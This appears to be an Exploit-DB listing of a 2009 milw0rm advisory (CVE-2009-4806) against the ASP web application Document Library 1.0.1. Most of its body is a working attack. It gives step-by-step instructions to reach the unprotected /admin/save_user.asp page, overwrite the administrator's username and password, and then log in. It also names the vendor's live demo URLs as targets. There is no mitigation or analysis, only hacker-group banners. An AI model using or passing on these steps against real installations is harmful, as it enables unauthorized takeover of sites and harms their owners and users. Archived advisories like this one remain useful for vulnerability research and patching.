Exploit Document Library 1.0.1 - Arbitrary Change Admin

[Exploiter]

EDB-ID

8130

Проверка EDB

1. Пройдено

Автор

BYALBAYX

Тип уязвимости

WEBAPPS

Платформа

ASP

CVE

cve-2009-4806

Дата публикации

2009-03-02

@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG

@~~=Contry   : Turkish
@~~=======================================~~@
@~~=Script   :Document Library Version 1.0.1

@~~=S.Site   :http://digitalinterchange.com

@~~=Dty      :http://digitalinterchange.com/products/index.asp?iProductID=12

@~~=Demo     :http://library.digitalinterchange.com

@~~=Price    :$109.00
@~~=======================================~~@

@~~=Vul:


@~~=Update Admin Account Info


@~~=http://c4team.org/ [PATH] /admin/save_user.asp


@~~=Admin Username   :Heykir

@~~=Admin Password   :Heykir

@~~=Confirm Password :Heykir


@~~=Save


@~~=http://c4team.org/ [PATH] /admin/login.asp


@~~=Demo:

@~~=http://library.digitalinterchange.com/admin/save_user.asp

@~~=http://library.digitalinterchange.com/admin/login.asp

Vs....
@~~=======================================~~@
:( :( :(
@~~=======================================~~@

# milw0rm.com [2009-03-02]